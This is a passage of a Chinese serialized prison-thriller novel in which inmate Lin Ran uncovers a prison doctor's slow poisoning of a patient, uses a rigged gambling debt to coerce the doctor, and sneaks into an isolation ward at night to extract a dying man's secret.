“人怕死。何况他只是个护工,没理由替刘长生卖命。”
“接下来呢?”
“等。”
这一等就是两个多小时。
雨停了,天色彻底黑透。医疗监区晚上九点熄灯,现在刚过八点,走廊里的灯已经陆续暗下去,只留几盏应急灯泛着昏黄的光。
医务室的门终于再次被推开。
苏念晚走进来,脚步虚浮,白大褂上溅着几处暗红的血点。她脸色苍白得吓人,眼圈泛红,不知道是累的还是哭过。
她没看林燃和小浙江,径直走到洗手池前,拧开水龙头,一遍遍搓手。水流声在寂静的房间里格外刺耳。
“人怎么样了?”林燃问。
苏念晚没回头,声音哑得像砂纸磨过:“暂时……稳住了。”
“暂时?”
“急性肾衰竭合并肺水肿,还有代谢性酸中毒。”
她关掉水龙头,用毛巾擦手,动作很慢,像每个关节都生了锈。
“我给他做了腹膜透析,用了大剂量利尿剂和碳酸氢钠。现在生命体征平稳了,但……”
她转过身,眼眶通红:
“但肾脏损伤不可逆。就算活下来,以后也要靠透析维持。
而且他全身皮肤还在溃烂,感染控制不住,随时可能再次恶化。”
小浙江的手攥紧了,指节发出轻微的“咔”声。
林燃沉默了几秒:“刘长生呢?”
“他……”苏念晚嘴唇抖了一下,“他说要请示上级,打电话去了。走的时候脸色很难看。”
“请示上级?”林燃冷笑,“是请示笑面佛吧。”
苏念晚没否认。她走到办公桌前坐下,双手捂住脸,肩膀微微发抖。
过了好一会儿,她才抬起头,眼里全是血丝。
“药品台账……我拿到了。”
她从白大褂内袋里摸出几张折起来的纸,摊开在桌上。
是手写的药品盘点记录,字迹潦草,日期、品名、数量、盘点人签名一应俱全。
两人凑到桌前看。
记录显示,氨茶碱注射液在最近一周确实少了三支——
比电脑记录还多一支。盘点人签名是“刘长生”,日期是四天前。备注栏写着“Ⅲ区急用,已补”。
但蹊跷的是,同一页下面还有一行小字,用另一种笔迹补的:“实际未补,待核查”。
签名是个草书的“苏”字。
“这是我后来加的。”苏念晚指着那行字。
“我当时就觉得不对,去库房查了,确实没补进来。我问刘医生,他说忘了,明天就补。结果……”
结果明天复明天,直到榔头中毒。
“这证据够吗?”小浙江问。
“不够。”林燃摇头,“刘长生完全可以咬死不认,说是工作疏忽。而且就算能证明他偷药,也没法直接指向笑面佛。”
他顿了顿,看向苏念晚:“但你这份记录,至少能让刘长生脱层皮。如果运作得好,说不定能逼他反水。”
“反水?”苏念晚愣住。
“对。”林燃眼神很冷,“刘长生这种人,贪财怕死。如果他知道自己可能因为‘医疗事故’坐牢,而笑面佛未必会保他——你说他会选哪边?”
窗外传来隐约的雷声,雨又要来了。
苏念晚盯着桌上的记录纸,手指无意识地蜷缩。她知道林燃说得对,但她更知道这么做的风险——
刘长生在监狱系统干了十几年,关系网盘根错节。逼急了,谁知道他会咬出多少人?
“我……”她张了张嘴,没说完。
就在这时,门外传来脚步声。
很沉,很稳,不像护工也不像医生。接着是钥匙串碰撞的金属声,还有低低的说话声——不止一个人。
小浙江瞬间闪到门边,耳朵贴上去。几秒后,他回头,用口型说:“狱警。两个。”
林燃示意苏念晚把记录纸收起来。她手忙脚乱地折好塞回内袋,刚坐直,门就被推开了。
进来的是两个狱警。
前面那个五十多岁,脸颊瘦削,眼皮耷拉着,正是带林燃来医疗监区的那个麻子狱警。
“107林燃。”麻子狱警面无表情,又指了指小浙江,“还有你,收拾东西,回监舍。”
第七十二章 防身
两人只能依命令走。
经过Ⅲ区那道加厚铁门时,林燃刻意放慢了呼吸。
门紧闭着,上方观察窗的玻璃反射着昏暗的光,看不见里面。但他能闻到——
一股淡淡的血腥味混着消毒水,从门缝里渗出来。
榔头还活着。
但能活多久?
他不知道。
回到107监舍,铁拐李已经睡了,等脚步声远去,监舍里只剩下此起彼伏的呼吸声。
林燃躺在黑暗中,今天自己刚逃过一劫。但他没心思管这个。
他在想榔头。
在想刘长生。
在想笑面佛到底在怕什么。
还有赵大金要的“那东西”——到底是什么,值得用一条命去换?
窗外又开始下雨,淅淅沥沥,没完没了。
不知过了多久,上铺传来轻微动静。小浙江翻了个身,面朝下,声音低得几乎听不见:
“明天。”
“什么?”林燃没听清。
“明天,王瘸子收餐具时,我会把消息递出去。”小浙江说,“你的要求,虎爷那边,应该会尽快办妥。”
林燃“嗯”了一声。
“还有。”小浙江顿了顿,“你今天跟苏医生说的……逼刘长生反水。有把握吗?”
“没有。”林燃实话实说,“但这是目前唯一的办法。”
“如果失败呢?”
“那就准备给榔头收尸。”林燃说得很平静。
黑暗中,小浙江沉默了很久。
最后,他只说了两个字:
“明白。”
雨下了一夜。
第二天早上,天刚蒙蒙亮,医疗监区就恢复了往常的死寂。
早餐是稀粥和咸菜,林燃勉强喝了几口,左腿比之前好多了,可问题自己不是想离开这医疗监区就能离开的。
上午九点,护工来通知他去换药。还是苏念晚。
她的脸色比昨晚更差,眼睛下面两团乌青,显然一夜没睡。换药时,她的手很稳,但眼神飘忽,时不时看向门口。
“昨晚……刘医生回来了吗?”林燃低声问。
苏念晚摇头:“没有。我值班到凌晨三点,他都没出现。早上交接班时也没见人。”
“电话呢?”
“不知道。”她咬着嘴唇,“但我听说……他请假了。说是家里有事,要休三天。”
林燃心里一沉。
请假?在这个节骨眼上?
要么是怕了,躲起来。要么是笑面佛给了他新指示,让他暂时避风头。
“榔头呢?”他问。
“还在Ⅲ区,情况……稳定。”苏念晚说得很勉强。
“但我今早查房时,发现他的输液速度被人调慢了。利尿剂剂量也减了一半。”
“谁调的?”
“护士站的记录是刘医生昨天下午下的医嘱。”苏念晚声音发抖。
刘长生还在故意拖慢榔头的治疗。
想让他慢慢死。
林燃攥了攥拳头。
“那我先走了。”
他急着完成任务,想办法进去找“榔头”问话。
“你等下!”
身后苏念晚突然叫住他。
回头,这姑娘却攥着手,看起来有些犹豫。
林燃等了一会,她才终于转身,走到药柜前。
打开最底层的抽屉,翻找片刻,摸出个用纱布裹着的小物件。
她走回来,把东西放在林燃手边的处置台上。
纱布展开,里面是一片长约七八厘米的手术刀片——
不是完整的手术刀,只是刀片部分,薄如柳叶,边缘泛着冷冽的银光。
“这是报废的,本来要销毁。”苏念晚声音很轻,“我偷偷留了一片。
你之前不是找我要武器防身嘛……小心点用。”
林燃拿起刀片。
很轻,但握在指间能感觉到那种锋利的质感。
之前他找苏念晚要过能当武器的事物,没想过这姑娘会真的去准备。
医疗监区这短短几天,自己几次遇险,证明防身武器必不可少。
这下真帮了大忙了。
他用纱布重新裹好,塞进囚服内袋的暗缝里——
“谢谢。”他说。
苏念晚摇摇头,看着他的眼睛:
“这刀片是救人的工具,不是凶器。你……别让它沾不该沾的血。”
这话说得有些天真,但林燃没反驳。他点点头。
…………
回到107监舍时,雨已经完全停了,潮湿的水汽从铁窗缝隙里渗进来,混着监舍里固有的霉味。
铁拐李正单腿蹦着收拾床铺,见林燃回来,斜睨了一眼:
“又去换药了?你那腿再折腾几次,可真要废了。”
林燃没搭话,慢慢挪到自己床边。
囚服内袋里那片手术刀片贴着皮肤,传来冰凉的触感——
这东西现在是他唯一的倚仗。
他坐下,目光扫过监舍。
上铺的小浙江已经回来了,背对着外面,依旧在看那本《机械原理》。
但林燃注意到,书页半天没翻动一下。
这小子也在等。
等北佬帮那边的消息,等王瘸子来收餐具的时机。
上午的时间过得格外慢。
医疗监区没有劳动任务,大部分犯人要么躺着,要么在狭窄的过道里缓慢踱步。
林燃靠在墙上,闭着眼,脑子里却在一刻不停地转。
刘长生请假三天。
收钱?跑路?还是接受指令去了?
这三天,是榔头最后的机会,也是他自己的机会。
回来后,刘长生肯定要下毒手。
正想着,走廊里传来餐车轱辘滚动的声音——午饭时间到了。
推车的是王瘸子。
他挨个监舍分发饭盒,动作慢吞吞的,嘴里还哼着不成调的小曲。
轮到107时,他瞥了林燃一眼,眼神和平日没什么不同,但舀菜时手腕微微一斜——
林燃的饭盒里多了一勺炖得烂糊的冬瓜,底下还压着半个卤蛋。
铁拐李“啧”了一声,没说话。
林燃端起饭盒,指尖在饭盒边缘摸了摸——没摸到什么。
但他不急,低头吃饭。
冬瓜炖得寡淡,卤蛋也又冷又硬,但他吃得很仔细。
吃到一半时,牙齿忽然磕到个硬物。
是颗被油纸裹紧的花生米大小的纸团。
林燃动作没停,就着饭菜把纸团含进嘴里,借着喝汤的姿势,低头吐在掌心。展开,上面只有一行蝇头小字:
“刘长生,老金棋牌室欠五万,平头男常去。”
字迹潦草,是用烧过的火柴梗写的,笔画粗糙。
林燃心里一跳。
这情报来得比他预想的还要快,还要具体。
赵大金在外面果然有人,而且能量不小——连地下钱庄的债都摸清了。
五万。在2000年,这不是个小数目。足够让一个监狱医生铤而走险。
第七十三章 秘密
下午放风前,护工小夏挨个监舍送药。
轮到林燃时,他端着水杯和两片白色药片,眼神躲闪,不敢看人。
“该、该吃药了。”声音细得像蚊子哼。
林燃接过药片,没立刻吃。
他盯着小夏,忽然压低声音:“昨晚后面怎么样?”
小夏浑身一僵,明显不太想提:“没什么样……”
林燃把药片放进嘴里,用水送下,声音含糊却清晰,“病人今天怎么样?”
“还、还是老样子……”小夏低头收拾药盘,手指有点抖。
“刘医生请假了,你知道吧?”
“知、知道。”
“那你更应该小心。”
林燃声音更低了,“他不在,万一病人出点什么事……责任可全是你的。”
小夏猛地抬头,脸色煞白:“不、不会的……苏医生在……”
“苏医生能二十四小时盯着?”
林燃打断他。
“Ⅲ区就你一个护工,万一那病人真没了,查起来,昨晚谁在护士站写记录?谁给病人换的输液瓶?”真要出事了,你说得清吗?”
这话戳中了小夏最怕的地方。
他嘴唇哆嗦着,眼眶瞬间红了:“那、那我怎么办,你别吓我了……”
“我昨天不是都教你了,你病人用的每一种药,输的每一瓶液,你都自己检查一遍,医嘱、记录都留好……”
“留……留好了。”
小夏明显已经被林燃带进笼子了。
“医嘱、用药我都记了……”
“那我问你,昨天刘长生打电话没有?说了什么?这些你记了吗?”
“我、我听见刘医生……打电话。”
“说。”
“就在护士站后面,杂物间。”小夏语速快起来,像是憋久了。
“那时候刚过十二点,好不容易缓过来了,我累坏了,就趴桌上打盹。
听见他进来,以为查房,结果他躲到后面打电话……声音压得很低,但我离得近,听见几句。”
林燃不动声色:“说了什么?”
“他说……‘人快不行了,再拖两天肯定死’。然后电话那边好像问了什么,刘医生又说:‘放心,药量我控着,很快就收拾了’。
……然后电话那头好像说‘这人以前是佛爷建材市场的保安队长,跟了三年多,肯定知道不少事’……”
保安队长。
林燃心里猛地一紧。
榔头是笑面佛的人?
他以前是笑面佛的心腹,知道太多不该知道的,后来不知为什么进了监狱,又投靠了北佬帮。
笑面佛怕他泄密,所以才要灭口!
没想到从这小夏嘴里,挖出这么个关键情报!
林燃压抑心里的激动,继续问。
“还说别的了吗?”
小夏摇头,又迟疑了一下:
“电话那头……好像提到了‘西城’、‘拆迁’,还有什么‘两条人命’……刘医生听到这儿声音都变了,说‘别在电话里说这个’。”
西城。拆迁。两条人命。
这几个词像钥匙,突然捅开了林燃记忆里某个锈死的锁。
前世病床上那些零碎的新闻片段、狱友闲聊时提到的传闻、还有重生后刻意收集的信息——瞬间全涌了上来。
2000年,西城区旧城改造,第一批拆迁的就是三家建材市场。其中两家是笑面佛陈有仁的产业。
当时闹出过动静。网上不少帖子说有住户不肯搬,拆迁队夜里强拆,据说压死了人。
但新闻没报,赔偿私了,最后不了了之。
如果榔头当时是笑面佛建材市场的保安队长……
那他很可能亲眼见过那晚的事。甚至,他手里可能握着证据——照片、录像、或者目击者名单。
这就是赵大金要的“那东西”。
也是笑面佛非要弄死他的原因。
建材市场……
“他还说了什么?”林燃追问。
小夏摇头:“没了……后来刘医生好像发现外面有动静,赶紧挂了电话。
我吓得装睡,他出来时看了我一眼,那眼神……我现在想起来都怕。”
林燃沉默了几秒。
“你做得对。”林燃忽然说。
小夏愣住。
“这事烂在肚子里,对谁都别说。”
林燃看着他。
“但你自己留个心眼,刘医生让你做什么,照做,但暗地里记下来——时间、内容、用了什么药。记在不起眼的地方,比如……值班表背面,用铅笔写,写完了擦掉。”
“为、为什么?”
“为了哪天出事了,你能证明自己只是个听令行事的。”林燃说得直白,
“监狱里,活下来的往往是知道什么时候该闭嘴,什么时候该留后路的人。”
小夏怔怔地看着他,眼圈突然红了。他重重点了下头,端起药盘,匆匆走了。
事情到这,都已经很清晰了。
林燃脑子里那些散落的点,开始连成线。
榔头入狱前在笑面佛的建材市场干过保安队长。强拆那事,他很可能在现场,甚至……知道人是怎么死的。
笑面佛把他弄进监狱,本想慢慢收拾,没想到榔头投靠了北佬帮。
现在东北虎赵大金盯上了笑面佛,榔头就成了必须灭口的活证据。
所以刘长生下的不是致死量的毒,是拖——拖到榔头器官衰竭,死得自然,查无可查。所以Ⅲ区要单独隔间,不许任何人接触。
现在北佬帮想要挖出这个秘密,就让在医疗监区的自己来办。
如果真见到榔头,得到这个秘密,北佬帮会不会按照约定,让自己离开医疗监区?
甚至会不会反下杀手?
他其实有些没底。
但相比起笑面佛近在咫尺的威胁。
林燃并不打算放弃这次机会,何况这机会还能一举扳倒笑面佛。
他决定继续任务。
而且已经想好了办法。
林燃先让小浙江联系赵大金,在外面布置了一番,但并没有透露自己已经知道了这个秘密。
消息递出去后,接下来的两天,医疗监区表面平静得像一潭死水。
林燃的腿伤好的差不多了。
他大部分时间待在107监舍,偶尔被叫去换药。
苏念晚每次见到他,眼神都更复杂些,有担忧,也有某种孤注一掷的依赖。
她没再提起刘长生或榔头,但换药时手指的轻微颤抖泄露了内心的波澜。
第七十四章 准备行动
小浙江依旧沉默。
他手腕的伤结了一层薄痂,活动时不再渗血。
那本《机械原理》已经被他翻得边角起毛,但他看书的姿势没变——
背对监舍,面朝墙壁,像一尊凝固的雕塑。
只有林燃知道,这平静底下是正在收紧的绞索。
第三天下午,放风时间。
天空难得放晴,铁丝网圈出的天井里洒下稀薄的阳光。
林燃靠着墙根坐下,左腿伸直,目光状似无意地扫过东角那堆废器械。
几分钟后,小浙江慢悠悠踱过来,在他旁边蹲下,手里捏着根枯草茎,在地上胡乱划着。
“有动静了。”
他声音压得极低,嘴唇几乎没动。
林燃没转头,看着远处两个慢吞吞踱步的病犯:“说。”
“昨晚,老金棋牌室。”
小浙江用草茎在地上写了个歪扭的“八”,
“按你的想法布了局,陈医生栽了,三万。加上之前欠的五万,垒到八万整。”
林燃心里算了一下。
八万,在2000年足够在安江城郊买套不错的房子。
对一个月工资不到一千的监狱医生来说,这是笔能压断脊梁骨的债。
“怎么做的?”
“虎爷从外面调的人,东北过来的,刚刑满释放,生面孔。”
小浙江把草茎掐断,
“坐陈医生对家,一晚上没让他胡过牌。最后那局,陈医生手里一把清一色听牌。
对家愣是自摸了个十三幺绝张。陈医生当时脸就绿了。”
林燃嘴角扯了扯,这就是他想的办法,利用这个赌鬼的赌性,让北佬帮在外面做“杀猪局”。
这种赌鬼,赌债是最好拿捏他的手法。
“放债的呢?”
“也是我们的人扮的。”小浙江用鞋底抹掉地上的字。
“剃个光头,脸上带疤,说话带东北腔。今儿一早就在棋牌室门口堵住陈医生,说要么还钱,要么卸条腿。”
“陈医生什么反应?”
“尿都快吓出来了。”小浙江嘴角扯了扯,没什么笑意。
“求爷爷告奶奶,说再宽限几天。放债的说不成,直接把他拽上一辆破面包车,拉城外去了。”
林燃知道“城外”是哪儿——
安江城西那片待拆的棚户区,乱得很,死个把人丢进去,三五天都未必有人发现。
“然后?”
小浙江抬头,看了眼天井入口处的狱警,确定距离够远,才继续,
“扔给他两个选择:要么现在还三万,要么……帮我们办件事。”
林燃眼睛一挑:“他选了后者?”
“选了。”
小浙江点头。
“但听说我们的人提出要进Ⅲ区那间病房时,陈医生当即就跪了。
他说那是重控区,被发现了他得把牢底坐穿。”
“你们的人怎么说?”
“还能怎么说?”小浙江冷笑。
“放债的拍了拍他肩膀,说‘陈医生,牢底坐穿总比现在就没腿强吧?
况且那病人本来就快死了,你让他死前见个人,神不知鬼不觉。钱,我们一笔勾销。’”
林燃沉默了几秒。阳光照在脸上,有些刺眼。他抬手挡了挡。
他不用问,都知道这事成了。
小浙江把掐断的草茎弹开,“这狗医生答应了,但他提了个条件——只能进去一个人,最多十分钟。
而且必须是晚上十点以后,那时Ⅲ区值班的护工会换班,有十五分钟空档。”
十分钟。单人。夜间。
条件苛刻,但够用了。
“时间定了吗?”林燃问。
“明晚。”小浙江说。
“十点零五分,陈医生会借口查房进入Ⅲ区,打开最里面那间病房的门。
他会守在走廊拐角望风,最多给你十五分钟。到点必须出来。”
林燃心里盘算着。十五分钟,从107监舍到Ⅲ区,穿过两道铁门,还要避开可能的巡逻狱警。
时间卡得很死,但并非不可能。
“路线呢?”
“王瘸子摸清了。”
小浙江从囚服袖口里摸出张皱巴巴的纸片,迅速塞进林燃手里。
“医疗监区平面简图,红线是路线,蓝点是监控盲区,打叉的是巡逻岗。”
林燃没立刻看,把纸片攥进掌心:“榔头现在什么情况?”
“不好。”小浙江脸色沉下来。
“今早王瘸子送饭时,从门缝里瞥了一眼。
说人瘦得脱相了,身上溃烂的地方开始流黄水,呼吸很弱。苏医生昨天给他加了利尿剂,但效果不大。”
氨茶碱中毒到这一步,肾脏基本已经废了。
榔头能撑到现在,全靠年轻底子硬,但恐怕也熬不了多久。
“明晚我进去?”
林燃看着小浙江问。
从他看来,小浙江这北佬帮老成员比自己要更适合完成这敏感任务。
但小浙江从头到尾就没有想执行的意思。
“对,你去,我手腕伤得重。”
果然,这小子把任务推给了林燃。
他一边说,一边把手腕上松垮的绷带又缠紧了一圈,骨节分明的手指动作麻利,打结时甚至没低头看。
他做完这些,才抬起眼看向林燃,意识到对面的男人用审视目光盯着自己,他才稍微解释道:
“我手腕的伤明晚拆线,监区说必须去医务室处置,防止感染。”
理由合理,无懈可击。
林燃盯着他:“真这么巧?”
“就这么巧。”小浙江迎上他的目光,脸上没什么表情,
“虎爷原本安排我进去。现在情况变了,只能你去。”
他说得平静,但林燃听出了弦外之音——这不是巧合,是赵大金的安排。
虎爷在测试他,或者说,在权衡风险。
如果林燃能成功带出“那东西”,证明他值得拉拢;
如果失败,甚至死在Ⅲ区,北佬帮也不损失核心成员。
而从小浙江来说,这事危险性也大,推给林燃更好。
监狱里的信任,从来都轻如烟。
“如果……”林燃顿了顿,“如果榔头说不出‘那东西’在哪,怎么办?”
小浙江沉默了几秒。
“那你就自己想办法活下去。”
小浙江最后说,声音里没多少温度。
“虎爷要的是那东西的下落,虎爷从来不接受失败,也不接受理由,你明白吧?”
话说得直白,充满威胁。
但监狱里不兴兜圈子。
林燃“嗯”了一声。
第七十五章 潜入
放风结束的哨音响了。
两人一前一后起身,慢慢往回走。
经过天井中央时,林燃抬眼看了眼三层小楼西侧——
Ⅲ区那排窗户依旧拉着厚重的窗帘,密不透风。
路线、时间、望风的人——都齐了。
剩下的,就是赌。
赌陈医生那点被吓破的胆子能撑够十五分钟。
赌巡逻的狱警不会在那个钟点突然勤快。
赌榔头还剩一口气,能把该说的话吐出来。
他脸上没什么表情,汗却从鬓角渗出来,在午后的闷热里很快变得冰凉。
回到107监舍,铁拐李正剔牙,见他进来,凑过来想聊天。
林燃含糊应了一句,就躺回自己铺位。
面朝墙壁,他才摸出那张纸片,就着铁窗透进来的昏暗天光,展开。
纸是病历记录的背面,铅笔画的线条歪斜却清晰。
医疗监区的结构比他想的简单,也复杂——简单在房间不多,复杂在监控和铁门的位置刁钻。
一条红线从107门口延伸出去,拐过两个弯,贴着墙根避开了一个监控探头,然后……需要翻越一扇常年不锁、但吱呀作响的维修通道小门。
蓝点标注了三处盲区:
一处是Ⅲ区铁门外堆废弃病床的角落,一处是走廊中段热水房背后的凹陷,还有一处,是Ⅲ区内部,监控探头年久失修,只能拍到半条走廊。
打叉的巡逻岗只有一个,在Ⅲ区铁门外值班室。
纸上用极小字备注:“老郭,夜班会睡。”
林燃把图记在脑子里,反复三遍,直到闭上眼,那条红线能在脑海里自己亮起来。
然后他把纸片撕碎,塞进嘴里,嚼成湿漉漉的纸浆,混着唾液咽下去。
味道涩得发苦。
晚饭时,王瘸子推餐车过来,送上晚饭。
林燃接过饭盒,底下却压着个温热的东西,半个掌心大小,用油纸包着。
是块卤豆干,酱色油亮。
监狱里的奢侈品。
呵,看来知道今天行动,还给了个加餐。
林燃顺手把豆干掰成两半,递了一半给旁边的铁拐李。
老头笑了一下,接过去,塞进嘴里,嚼得很慢,像在享受。
上铺,小浙江的饭盒见底了,他放下筷子,手在裤腿上擦了擦,躺回去,面朝墙壁。
监舍里只剩下咀嚼声和老喘偶尔的叹气。
夜里九点半,熄灯哨响过很久了。
走廊里应急灯的光从门上方的小窗漏进来一格,昏黄,勉强能照出监舍里几个人模糊的轮廓。
铁拐李已经睡熟,鼾声拉得忽长忽短。
老喘那边很安静,但每隔一会儿,就有细微的、呜咽似的哮鸣音从被褥底下传出来。
林燃平躺着,眼睛睁着,盯着天花板上那片越发扩大的水渍。
耳朵里灌满各种声音:鼾声、喘声、远处Ⅲ区偶尔传来的模糊呓语、还有自己胸腔里那颗心脏,一下,一下。
手术刀片贴身藏着,那片冰凉成了此刻唯一的真实。
他用指腹隔着囚服布料,反复摩挲刀片被纱布包裹的边缘,直到那点凉意渗进皮肤,顺着血液流遍全身。
九点五十。
他轻轻吸了口气,翻身坐起。动作极慢,床板只发出几乎听不见的“吱呀”一声。
左脚先探下去,踩住冰冷的水泥地,然后是右脚。
站稳,等了两秒——监舍里鼾声没断。
他猫下腰,像一片影子滑向门口。
经过小浙江床铺时,上铺是空的。
这小子已经往医务室去了。
这样也好,替他吸引走了一个夜班狱警。
林燃手搭上门把手,冰凉的金属触感让他精神一凛。
他缓缓转动,一块小铁皮“啪嗒”一声掉下来——没锁的关窍就在这。
这是小浙江走之前,替他卡住的门锁卡舌。
门开了一条缝。
走廊里那股消毒水混着陈旧被褥的气味涌进来,更浓了。
应急灯的光铺在磨石子地面上,泛着清冷的光。
远处值班室的方向一片漆黑,隐约有鼾声传来,闷闷的,像隔了层棉被。
成了。
和情报上的一样,夜班狱警老郭偷懒睡了。
林燃闪身出去,反手带上门,门轴发出细微的“咔嗒”声,淹没在铁拐李的鼾声里。
他贴着墙根,按照脑子里那条红线开始移动。
左腿还是有隐隐的疼,但在肾上腺素作用下,已经不影响动作。
第一步,穿过107门前这段无监控的短廊。第二步,右拐,进入主走廊。
头顶有一个监控探头,但红线标注的角度显示,只要他紧贴左侧墙壁,身体就会完全缩在阴影里。
他像个壁虎,扁平地挪过去。
脚步放得极轻,囚服布料摩擦墙壁的声音,细碎得如同老鼠啃噬。
热水房到了。
空气里飘着淡淡的氯气味。
红线在这里指向热水房背后那个凹陷——蓝点之一。
他侧身挤进去,空间狭窄,后背抵着冰冷潮湿的瓷砖墙。这里堆着几个破损的塑料桶,霉斑在昏光里像地图上的污渍。
等。心里默数。
三十秒。
巡逻理论上不会经过这里,但万一老郭起夜呢?
没有脚步声。
他继续向前。
维修通道的小门就在前面五米,虚掩着,门轴缺油,一推就响。
纸上备注:推右下角,用力向上抬,再缓慢向内拉。
林燃蹲下身,手指扣住门板右下边缘,冰凉,有铁锈的颗粒感。
他深吸口气,腰腹发力,向上一托——门板纹丝不动。
林燃心里暗暗一惊,不会假情报……
他赶紧再加力,肌肉绷紧,伤腿传来抗议的刺痛。
门板终于极不情愿地向上移动了半寸,他趁机向内一拉。
“吱——嘎——”
声音在寂静的走廊里被放大了十倍,刺得林燃耳膜发麻。
他僵住,全身血液似乎都冲向了耳朵,捕捉着值班室方向的任何动静。
鼾声好像停了一瞬。
林燃屏住呼吸,手指还扣在门板上,冰凉迅速爬满掌心。
时间拉长,每一秒都在油锅里煎。
几秒后,鼾声再度响起,比之前更响,还夹杂着几句含混的梦呓。
他松了口气,冷汗这才后知后觉地从额角滑下来。
侧身挤进门缝,反手将门虚掩回去。
门后是另一条通道,更窄,更黑。
第七十六章 人
空气里飘着浓重的灰尘和老鼠屎的酸臭。
没有灯,只有前方Ⅲ区铁门方向透来的一点微光。
他摸着粗糙的墙面往前走,脚下不时踢到散落的碎砖或不知名的垃圾。
距离在黑暗中被模糊,只能靠步数估算。
二十三步后,前方出现朦胧的光晕。
Ⅲ区铁门到了。
铁门厚重,上方观察窗的玻璃脏污,透出的光也是浑浊的。
门边靠墙堆着几架废弃的病床,锈迹斑斑——这就是图纸上标注的第一个盲区。
他闪身躲到病床骨架的阴影里,背靠冰冷铁架,调整呼吸。
目光扫向值班室——窗户黑着,鼾声从里面均匀地传出。
又看向铁门旁边的电子钟:十点零三分。
还有两分钟。
这两分钟长得像一辈子。他听着自己的心跳,数着秒,手指无意识地隔着布料按住那片刀片。
周围太静了,静得能听见灰尘缓缓落下的声音。
Ⅲ区里面似乎也毫无声息,榔头是死是活?陈医生会不会临时反悔?
十点零四分五十秒。
铁门内部传来极其轻微的“咔嗒”一声,是门锁被打开的声音。
紧接着,门被拉开一条仅容一人侧身通过的缝隙。
一个穿着白大褂的身影闪了出来,是刘长生。
他脸色在昏暗光线下惨白如纸,金丝眼镜后的眼睛睁得极大,写满了惊恐。
看到阴影里的林燃,他喉结剧烈滚动了一下,没说话,只是急促地朝门内指了指,又指了指自己手腕——示意时间。
然后他快步走向走廊拐角,身影消失在那里。
望风就位。
林燃不再犹豫,侧身从那道缝隙挤了进去。
门内是另一条走廊,比外面更窄,灯光是惨白色的,照在两侧紧闭的房门上。
空气里消毒水味浓得呛人,还混着一股难以形容的腐败甜腥气——
是溃烂伤口和排泄物混合的味道。
走廊尽头那扇门,就是目标。
他快步走过去,脚步放轻,但在这绝对寂静里,每一步仍像敲在鼓面上。
路过其他病房时,有的门缝下透出微光,有的漆黑一片,但无一例外,死寂。
到了。
门上没有观察窗,只有一个巴掌大的送饭口,此刻紧闭着。
林燃握住门把手,冰凉。他轻轻下压,转动——没锁。
刘长生果然提前开了门。
推开门的一刹那,那股腐败甜腥气猛地涌出,浓烈得让他胃里一阵翻搅。
房间里灯光昏暗,只有床头一盏小夜灯,照着床上那团几乎看不出人形的影子。
是榔头。
他仰面躺着,被子只盖到胸口。
露出的脖颈和脸颊瘦得脱了相,皮肤是一种不正常的蜡黄色,布满深褐色的溃烂斑块,有些地方还在渗着浑浊的组织液。
胸口起伏微弱,每一次呼吸都带着湿漉漉的杂音,像一台坏了的鼓风机。
林燃反手关上门,几步走到床边。
离得近了,那气味更具体,是死亡本身在缓慢蒸发的味道。
“榔头。”他压低声音,叫了一声。
床上的人毫无反应。
林燃伸手,轻轻拍了拍他完好的那侧脸颊。
皮肤滚烫,触感却像潮湿的皮革。
“榔头,虎爷让我来的。醒醒。”
睫毛颤动了几下。那双深陷的眼睛极其缓慢地睁开一条缝,瞳孔浑浊,几乎对不准焦。
他嘴唇干裂起皮,张了张,只发出“嗬……嗬……”的气音。
见到陌生来人林燃,他明显有反应,看来知道来人不善。
“虎爷要那东西。”
林燃凑近些,语速加快,但吐字清晰,“西城拆迁,建材市场,两条人命。东西在哪儿?”
榔头的眼睛似乎清明了一瞬,他死死盯住林燃,像是在辨认,又像在挣扎。
然后,他极其艰难地、幅度极小地,摇了摇头。
不是不知道,是不说?还是不能说?
林燃心往下沉,时间在一秒秒飞逝。
不管了,必须让他说。
“虎爷说了,想想你女儿。”
他抛出赵大金教的话,声音压得更低,带着不容置疑的力道。
“东西拿出来,你女儿虎爷养。拿不到,或者我拿不到……”
他没说完,但意思明确。
榔头浑身猛地一颤,溃烂的皮肤下,肌肉似乎都绷紧了。
他喉咙里发出“咯咯”的怪响,像是要咳,又像是呜咽。
足足过了十几秒,他才用尽全身力气,抬起一只枯瘦如柴、同样布满溃烂的手,颤抖着,勾了一下。
示意对方靠近。
林燃立刻蹲下身。
强忍着对榔头这将死之人的厌恶,附耳过去。
“那,人在……在右角的冷库……”
“榔头”几乎是咬着牙说出这几个字,后面。
林燃开始听得糊涂,然后眼睛猛然睁大!
他之前一直以为赵大金让他来挖的、关于笑面佛外面市场的秘密会是账本、照片之类的。
要么是关于笑面佛灰色勾搭的账本,或者是强拆的照片。
但他却没想到,从“榔头”嘴里吐出的,却是个“人”字!
人?!
这个人和笑面佛的生意有关?和他的市场有关?
但为什么是在冷库?
“榔头”后面没说完的话又是什么?
“你说清楚点,什么人?!在冷库哪里?”
林燃赶紧追问。
可话音未落,榔头手一松,整个人瘫软下去,胸口那点微弱的起伏几乎停止了,只有喉咙里还在发出“嗬……嗬……”的倒气声。
看来是说不出话了。
但现有信息也差不多够了。
林燃起身就走。
刚拉开门,走廊另一头,刘长生藏身的拐角处,突然传来一声压低的惊呼,紧接着是杂乱的脚步声和肉体撞击的闷响!
“你怎么在这?!”是刘长生惊惶变调的声音。
“老子还想问你呢!”另一个声音,沙哑,带着狠劲。
是平头男!
林燃心脏骤缩。计划里没这一出!这杂碎怎么会这个时间出现在Ⅲ区走廊?
没时间细想,他闪身出门,反手带上门,背贴墙壁,目光疾扫。
只见走廊拐角处,刘长生被平头男揪着白大褂领子,死死按在墙上。
平头男右手打着绷带吊在胸前,但左手掐着陈医生的脖子,脸上横肉抖动,眼神凶得像要杀人。
第七十七章 刀
走廊里的灯光惨白,照得平头男脸上的横肉格外清晰。
他左手死死掐着刘长生的脖子,右手虽然吊着绷带,但身子压得极低,像头弓背的豹子。
刘长生被他按在墙上,金丝眼镜歪斜。
脸憋得发紫,喉咙里挤出“嗬嗬”的求饶声。
林燃背贴墙壁,赶紧屏住呼吸。
平头男怎么会在这儿?
是跟踪刘长生来的,还是……这根本就是个套?
没时间细想。
平头男已经扭头看了过来,那双小眼睛里凶光一闪。
他没想到这里遇到了林燃,但一想到这晚上,居然有机会完成两个任务。
这次自己造伤潜入医疗监区,平头男的任务就是找机会弄死林燃,还有监督刘长生弄死榔头。
现在两个目标就在眼前,怎么不喜出望外。
他咧嘴笑了:
“哟,真巧啊林燃。大半夜不睡觉,跑Ⅲ区串门来了?”
